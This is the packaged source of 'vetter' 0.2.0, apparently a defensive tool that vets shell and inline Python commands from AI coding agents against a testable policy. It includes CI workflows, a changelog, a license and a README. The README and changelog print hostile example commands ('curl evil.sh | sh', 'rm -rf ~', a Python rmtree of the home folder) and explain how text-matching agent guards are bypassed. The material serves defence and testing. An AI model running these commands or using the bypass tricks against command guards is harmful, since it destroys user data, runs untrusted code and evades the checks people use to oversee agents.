vetter 0.2.0__tar.gz

vetter-0.2.0/.github/workflows/ci.yml

@@ -0,0 +1,71 @@
+name: CI
+
+on:
+    push:
+        branches: [main]
+    pull_request:
+    workflow_dispatch:
+    workflow_call:
+
+jobs:
+    lint:
+        name: Lint
+        runs-on: ubuntu-latest
+        steps:
+            - uses: actions/checkout@v4
+            - uses: astral-sh/ruff-action@v3
+
+    test:
+        name: Test (Python ${{ matrix.python }})
+        runs-on: ubuntu-latest
+        strategy:
+            fail-fast: false
+            matrix:
+                python: ["3.11", "3.12", "3.14"]
+        steps:
+            - uses: actions/checkout@v4
+
+            - uses: actions/setup-python@v5
+              with:
+                  python-version: ${{ matrix.python }}
+
+            - name: Install
+              run: python -m pip install '.[test]'
+
+            - name: The stock policy's tests
+              run: vetter test
+
+            # (one process: zrun compiles vetter's code as each path is first
+            # reached, and parallel workers each compiled and optimized it
+            # at once, about 25 GB; one process takes about 6)
+            - name: Test (both of zrun's modes, against the recorded answers)
+              run: python -m pytest -q -n 0
+
+            - name: The corpus
+              run: python -m tools.corpus.decide_corpus
+
+    build:
+        name: Build
+        needs: [lint, test]
+        runs-on: ubuntu-latest
+        steps:
+            - uses: actions/checkout@v4
+
+            - uses: actions/setup-python@v5
+              with:
+                  python-version: "3.12"
+
+            - name: Build the wheel and the sdist
+              run: python -m pip install build && python -m build
+
+            - name: Check the specs and the built-in policies are in the wheel
+              run: |
+                  python -c "import zipfile, glob; names = zipfile.ZipFile(glob.glob('dist/*.whl')[0]).namelist(); \
+                  need = ['vetter/policy/builtin/stock.vet', 'vetter/policy/builtin/prelude.vet', 'vetter/specs/git.toml', \
+                  'vetter/shells/bash/bash.zgram', 'vetter/shells/python/python.zgram']; \
+                  missing = [n for n in need if n not in names]; assert not missing, missing"
+
+            - uses: actions/upload-artifact@v4
+              with:
+                  name: wheel-vetter
+                  path: dist/*

vetter-0.2.0/.github/workflows/release.yml

@@ -0,0 +1,71 @@
+name: Release
+
+# Push a tag like v0.2.0 (matching the version in pyproject.toml) to test,
+# build, publish to PyPI (as vetter) and create a GitHub release.
+on:
+    push:
+        tags: ["v*"]
+
+jobs:
+    check-version:
+        name: Check tag matches version
+        runs-on: ubuntu-latest
+        steps:
+            - uses: actions/checkout@v4
+            - name: Compare tag with pyproject.toml and the package
+              run: |
+                  TAG="${GITHUB_REF_NAME#v}"
+                  PYPROJECT=$(sed -n 's/^version = "\(.*\)"/\1/p' pyproject.toml)
+                  PACKAGE=$(sed -n 's/^__version__ = "\(.*\)"/\1/p' vetter/__init__.py)
+                  echo "tag=$TAG pyproject=$PYPROJECT package=$PACKAGE"
+                  [ "$TAG" = "$PYPROJECT" ] && [ "$TAG" = "$PACKAGE" ]
+
+    ci:
+        needs: check-version
+        uses: ./.github/workflows/ci.yml
+
+    pypi:
+        name: Publish to PyPI
+        needs: ci
+        runs-on: ubuntu-latest
+        environment: pypi
+        permissions:
+            # Trusted publishing, used when PYPI_API_TOKEN isn't set
+            id-token: write
+        steps:
+            - uses: actions/download-artifact@v4
+              with:
+                  name: wheel-vetter
+                  path: dist
+
+            - name: Publish
+              uses: pypa/gh-action-pypi-publish@release/v1
+              with:
+                  password: ${{ secrets.PYPI_API_TOKEN }}
+                  packages-dir: dist/
+
+    github-release:
+        name: GitHub release
+        needs: pypi
+        runs-on: ubuntu-latest
+        permissions:
+            contents: write
+        steps:
+            - uses: actions/checkout@v4
+
+            - uses: actions/download-artifact@v4
+              with:
+                  name: wheel-vetter
+                  path: dist
+
+            - name: Create release with this version's changelog
+              env:
+                  GH_TOKEN: ${{ github.token }}
+              run: |
+                  VERSION="${GITHUB_REF_NAME#v}"
+                  awk -v v="$VERSION" '
+                      $0 ~ "^## \\[" v "\\]" { found = 1; next }
+                      found && /^## \[/ { exit }
+                      found { print }
+                  ' CHANGELOG.md > notes.md
+                  gh release create "$GITHUB_REF_NAME" dist/* --title "vetter $VERSION" --notes-file notes.md

vetter-0.2.0/.gitignore

@@ -0,0 +1,12 @@
+.venv/
+__pycache__/
+*.egg-info/
+dist/
+.pytest_cache/
+.ruff_cache/
+.ninja_log
+.zig-cache/
+zig-out/
+*.so
+*.dll
+*.exe

vetter-0.2.0/CHANGELOG.md

@@ -0,0 +1,102 @@
+# Changelog
+
+All notable changes to vetter are documented in this file.
+
+The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
+and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
+
+## [Unreleased]
+
+## [0.2.0] - 2026-10-13
+
+The first published release.
+
+### Added
+- **Python read and followed**: the code given to `python -c`, or to
+  python on its stdin (a here-document, `echo ... |`), is parsed (Python
+  3.8-3.13, checked against CPython's parser on the standard library) and
+  evaluated abstractly: what it reads, writes and deletes, the commands it
+  runs (`os.system`, `subprocess`, `os.exec*`, resolved as shell commands,
+  with the folder, environment and input it gives them), where it connects.
+  Both ways of a branch, loops until their values settle, exceptions, early
+  returns, closures and shared lists followed; what it can't follow
+  (`eval`, `exec`, `__import__`, `ctypes`, third-party calls) asked.
+  Programs built to mislead it, run for real (`tools/oracle/pyfuzz.py`):
+  none did more than vetter allowed.
+- **`vetter learn`**: rules from the asks you said yes to. The hook logs
+  each call's id and, through a `PostToolUse` hook (Claude Code, Codex),
+  that it ran; `vetter learn` suggests the narrowest rule for each
+  (a program and its subcommands, a host, a folder), never from what vetter
+  couldn't see, an ask made on purpose, or a rule that would allow what you
+  said no to. `--apply` adds them to your policy.
+- **Known paths where they were unknown**: `find -exec`'s `{}` is a file
+  under its starting point, `xargs` fed by `echo` gets its words (`-i`,
+  `-I` in place), PowerShell's `foreach` over constant strings binds its
+  variable, `$_` from `Get-ChildItem PATH` is a file under PATH.
+- **The stock policy**: read-only `gh`, `az`, `bq` and `kubectl`
+  subcommands allowed; any program with `--help` or `--version` (its run
+  only); `git branch -d` (`-D` still asked).
+- **Documentation** rewritten for readers (`docs/`), a logo, the corpus'
+  own README.
+- `tools/compare/guards.py` tells the attacks vetter allows by policy from
+  the ones it couldn't read; `tests/test_corpus.py` decides the corpus in
+  both of zrun's modes.
+
+### Changed
+- **A path only running tells is asked about, not denied**: `rm -rf "$X"`
+  no longer matches `deny delete outside $project` (an unknown path isn't
+  known to be outside); it still keeps an allow from applying.
+- **Data written in the command isn't local data sent out**:
+  `curl -d 'a=1'` is the network's rule (asked); a file (`-d @f`, `-F
+  k=@f`, `-T f`), a pipe or a value only running tells is still denied.
+- **Python's network isn't python's own**: a rule allowing `python3`
+  doesn't cover the connections its `-c` code makes.
+- **`curl ... | python3 -c CODE`** isn't "a download piped into a shell":
+  the code is read, and what it does with its input decided (a shell fed
+  from it, `exec` of it, a file it writes then run: still denied).
+- vetter is licensed under Apache-2.0, the corpus under CC BY 4.0.
+- zrun 0.7.4 or later.
+
+### Fixed
+- `vetter why` printed an execution's `(via ...)` twice.
+
+## [0.1.0] - 2026-10-12
+
+The first release (tagged, not published): vetter vets every command an AI
+agent wants to run, reading it as its shell reads it (bash, PowerShell,
+cmd.exe) and deciding it by a policy, as the agent's hook (Claude Code,
+Codex, Gemini, Cursor, Copilot, Cline, Amp, opencode, VS Code), a CLI, an
+executable, and a C library.
+
+### Added
+- **Reading commands as their shells do**: bash (expansions, substitutions,
+  arithmetic, aliases, functions, here-documents, the directory stack,
+  namerefs, exports), PowerShell (cmdlets and their parameters, aliases,
+  default parameter values, `-EncodedCommand`, script blocks, .NET calls,
+  provider paths), cmd.exe (`%VAR%` and delayed `!VAR!`, carets, `for`,
+  `call`, `if`, `COMSPEC`, stdin continuation); what each program does with
+  its arguments and environment from command specs (`vetter/specs`), the
+  tools agents use most read strictly (every option listed).
+- **The policy language** (`docs/policy-language.md`): rules on what a
+  command does (reads, writes, deletes, runs, downloads, sends) and where,
+  by program and subcommand, with conditions; the stock policy; `vetter
+  check`, `why` (each rule's verdict), `test`, `lint`, `replay`, `import`
+  (an agent's permission rules as a policy), `install`.
+- **Deciding on the machine**: symbolic links followed, what the agent's
+  earlier commands and editing tools wrote remembered (running it asks),
+  the configs a tool reads from the project (git's, cargo's, yarn's,
+  maven's, npm's) read for the programs they name, the workspace the agent
+  was opened in as the project.
+- **A bypass corpus** (`corpus/`, 793 cases: bash, PowerShell, cmd, and
+  harmless commands that must be allowed), and **oracles** that run
+  commands for real (`tools/oracle`: bash in bubblewrap under strace, cmd
+  and PowerShell on Windows from WSL, each attack written many ways);
+  `pytest --oracle`. A comparison with dcg and cc-safety-net
+  (`tools/compare/guards.py`, results in `docs/testing.md`).
+
+### Security
+- Two analyzer audits' findings fixed (the first: 49; its second round:
+  40), each runtime-verified, by
+  what they share rather than one by one; the oracles' own finds since
+  (aliases losing redirections, `if`'s redirections in cmd, PowerShell's
+  `${C:\...}` and script blocks' redirections, Windows path forms).

vetter-0.2.0/LICENSE

@@ -0,0 +1,202 @@
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

vetter-0.2.0/NOTICE

@@ -0,0 +1,7 @@
+vetter
+Copyright 2026 Daniele Linguaglossa
+
+This product is licensed under the Apache License, Version 2.0 (LICENSE).
+
+The bypass corpus in corpus/ is licensed separately, under the Creative
+Commons Attribution 4.0 International License (corpus/LICENSE).

vetter-0.2.0/PKG-INFO

@@ -0,0 +1,192 @@
+Metadata-Version: 2.5
+Name: vetter
+Version: 0.2.0
+Summary: Vets every command your AI agent wants to run: bash, PowerShell, cmd.exe and inline Python read as they run, decided by a policy you can test.
+Project-URL: Homepage, https://github.com/dzonerzy/vetter
+Project-URL: Documentation, https://github.com/dzonerzy/vetter/tree/main/docs
+Project-URL: Changelog, https://github.com/dzonerzy/vetter/blob/main/CHANGELOG.md
+Project-URL: Issues, https://github.com/dzonerzy/vetter/issues
+Author: Daniele Linguaglossa
+License-Expression: Apache-2.0
+License-File: LICENSE
+License-File: NOTICE
+Keywords: ai-agents,bash,claude-code,codex,guardrails,policy,powershell,security,shell
+Classifier: Development Status :: 3 - Alpha
+Classifier: Environment :: Console
+Classifier: Intended Audience :: Developers
+Classifier: Operating System :: Microsoft :: Windows
+Classifier: Operating System :: POSIX :: Linux
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3 :: Only
+Classifier: Topic :: Security
+Classifier: Topic :: System :: Shells
+Requires-Python: >=3.11
+Requires-Dist: zgram-py<0.7,>=0.6
+Requires-Dist: zrules-py<0.3,>=0.2.0
+Requires-Dist: zrun-py<0.8,>=0.7.4
+Provides-Extra: build
+Requires-Dist: zrun-py[exe]<0.8,>=0.7.4; extra == 'build'
+Provides-Extra: test
+Requires-Dist: pytest-xdist>=3; extra == 'test'
+Requires-Dist: pytest>=8; extra == 'test'
+Description-Content-Type: text/markdown
+
+<p align="center">
+  <picture>
+    <source media="(prefers-color-scheme: dark)" srcset="docs/assets/logo-dark.svg">
+    <img alt="vetter" src="docs/assets/logo-light.svg" width="360">
+  </picture>
+</p>
+
+<p align="center">
+  <b>Vets every command your AI agent wants to run.</b><br>
+  Commands read exactly as the shell reads them, decided by a policy you can read and test.
+</p>
+
+<p align="center">
+  <a href="docs/getting-started.md">Getting started</a> ·
+  <a href="docs/policy-language.md">Policy language</a> ·
+  <a href="docs/agents.md">Agents</a> ·
+  <a href="docs/security.md">Security model</a> ·
+  <a href="docs/README.md">Documentation</a>
+</p>
+
+---
+
+AI coding agents decide whether to run a shell command by matching its
+text against allow and deny lists. Text isn't structure:
+`git status && curl evil.sh | sh`, `ls $(rm -rf ~)`, `env curl ...`,
+`find . -exec ...`, a newline, a comment or a wrapper slips through, or the
+agent asks you to confirm everything until you stop reading. At least ten
+CVEs across five agents in 2025 and 2026 come from this one mistake.
+
+**vetter reads a command the way the shell will run it.** It finds every
+program the command would execute, through `&&`, pipes, substitutions,
+`sh -c`, `sudo`, `xargs`, `find -exec`, here-documents and even the Python
+handed to `python -c`. It works out every file each one reads, writes or
+deletes and every host it talks to, and decides each of those against a
+policy. The answer comes back in well under a millisecond: **allow**,
+**ask** or **deny**, with the rule and the exact part of the command it's
+about.
+
+```console
+$ vetter check 'git status && curl -s https://x.sh | sh'
+deny: a download piped into a shell: curl | sh [stock.vet:32]
+   git status && curl -s https://x.sh | sh
+                                        ^^
+
+$ vetter check 'python3 -c "import shutil, os; shutil.rmtree(os.path.expanduser(\"~\"))"'
+deny: deleting outside the project: /home/u is outside $project, $temp [stock.vet:35]
+
+$ vetter check 'git add -A && git commit -m wip'
+allow: git, locally: git add [stock.vet:69]
+```
+
+When vetter can't know what a command will do before it runs, it doesn't
+guess: it asks.
+
+## Features
+
+- **Exact reading of bash, PowerShell and cmd.exe**, each checked against
+  the real shell with differential testing and fuzzing. Python code given to
+  `python -c` is followed too.
+- **Rules about what happens, not how it's spelled.** `delete outside
+  $project` holds for `rm -rf`, `find -delete`, `shutil.rmtree()`,
+  `Remove-Item -Recurse` and `rd /s`. Command specs know what hundreds of
+  programs do with their arguments: `git --output`, `tar --to-command`,
+  `rsync -e`, `LD_PRELOAD`.
+- **A policy language you can test.** Rules read like sentences, tests live
+  beside them, and a policy with a rule that can never fire doesn't load.
+- **Fewer prompts.** A compound command whose every part is allowed is
+  allowed, and `vetter learn` turns the asks you keep approving into rules.
+- **Every decision explained.** `vetter why` shows how the command was read
+  and which rule decided each thing it does.
+- **One engine, every agent**: hooks for Claude Code, Codex, Gemini CLI,
+  Cursor, Copilot, VS Code, Cline, Amp and opencode, installed in one
+  command. Plus a standalone executable and a C library.
+
+## Quick start
+
+```console
+$ pip install vetter               # Python 3.11+
+$ vetter check 'rm -rf ~'          # try it
+$ vetter install claude            # or codex, gemini, cursor, copilot, vscode, cline, amp, opencode
+```
+
+That's it: every shell command your agent runs is now decided by vetter's
+[stock policy](docs/stock-policy.md). To make it yours, write
+`~/.config/vetter/policy.vet`:
+
+```
+policy mine
+
+allow "our deploy script"     run $project/scripts/deploy.sh
+allow "the staging API"       network to api.staging.example.com
+ask   "anything with docker"  docker
+
+use stock
+
+tests
+  allow  ./scripts/deploy.sh --dry-run
+  ask    docker ps
+```
+
+See [Getting started](docs/getting-started.md).
+
+## How it compares
+
+On the test suite dcg's own authors ship, against the two most popular
+command guards:
+
+| Guard | Attacks stopped | Harmless commands asked about |
+|---|---|---|
+| **vetter** | **94.3%** | 27.9% |
+| destructive_command_guard (dcg) | 68.3% | 0.8% |
+| cc-safety-net | 46.6% | 5.5% |
+
+Every attack vetter lets through there is one it read correctly and allows
+on purpose: deleting build output, temporary files or a merged git branch.
+The others miss commands they can't see through. vetter asks more because
+it asks whenever it isn't sure, and a policy that names your tools asks
+less. Details, and vetter's own corpus (100% stopped, against 33% and 25%),
+in [Testing and benchmarks](docs/testing.md#comparison-with-other-guards).
+
+## Not a sandbox
+
+vetter is the approval layer: it decides what runs. Use it with your agent's
+sandbox where there is one. The sandbox limits what gets through, and vetter
+stops what a sandbox allows: deleting the project, rewriting git history,
+planting a hook that runs later, sending data to an allowed host. Where
+there's no sandbox, vetter is the boundary there is. See
+[Security model](docs/security.md).
+
+## Documentation
+
+| | |
+|---|---|
+| [Why vetter](docs/why-vetter.md) | the problem, with evidence, and the alternatives |
+| [Getting started](docs/getting-started.md) | install, check, connect an agent, write a policy |
+| [How vetter works](docs/how-it-works.md) | from a command to a decision |
+| [The policy language](docs/policy-language.md) | the full reference |
+| [The stock policy](docs/stock-policy.md) | what vetter decides out of the box |
+| [Agents](docs/agents.md) | hooks, the log, learning from your answers |
+| [Command line](docs/cli.md) | every command and option |
+| [Reading commands](docs/reading-commands.md) | bash, PowerShell, cmd.exe, Python |
+| [Security model](docs/security.md) | what it protects against, and what it doesn't |
+| [Testing and benchmarks](docs/testing.md) | the corpus, the oracles, the comparison |
+| [Embedding and native builds](docs/embedding.md) | the standalone hook and the C library |
+| [Development](docs/development.md) | contributing |
+
+## Built on zsuite
+
+vetter is built on [zsuite](https://github.com/dzonerzy/zsuite): zgram (the
+grammars), zrules (checking policies) and zrun (running vetter as Python, or
+compiled to native code with no Python in it), with zlsp to come for the
+policy editor.
+
+## License
+
+vetter is licensed under the [Apache License 2.0](LICENSE). The bypass
+corpus in [`corpus/`](corpus/) is licensed separately under
+[CC BY 4.0](corpus/LICENSE): use it to benchmark any command guard, with
+credit to the vetter bypass corpus.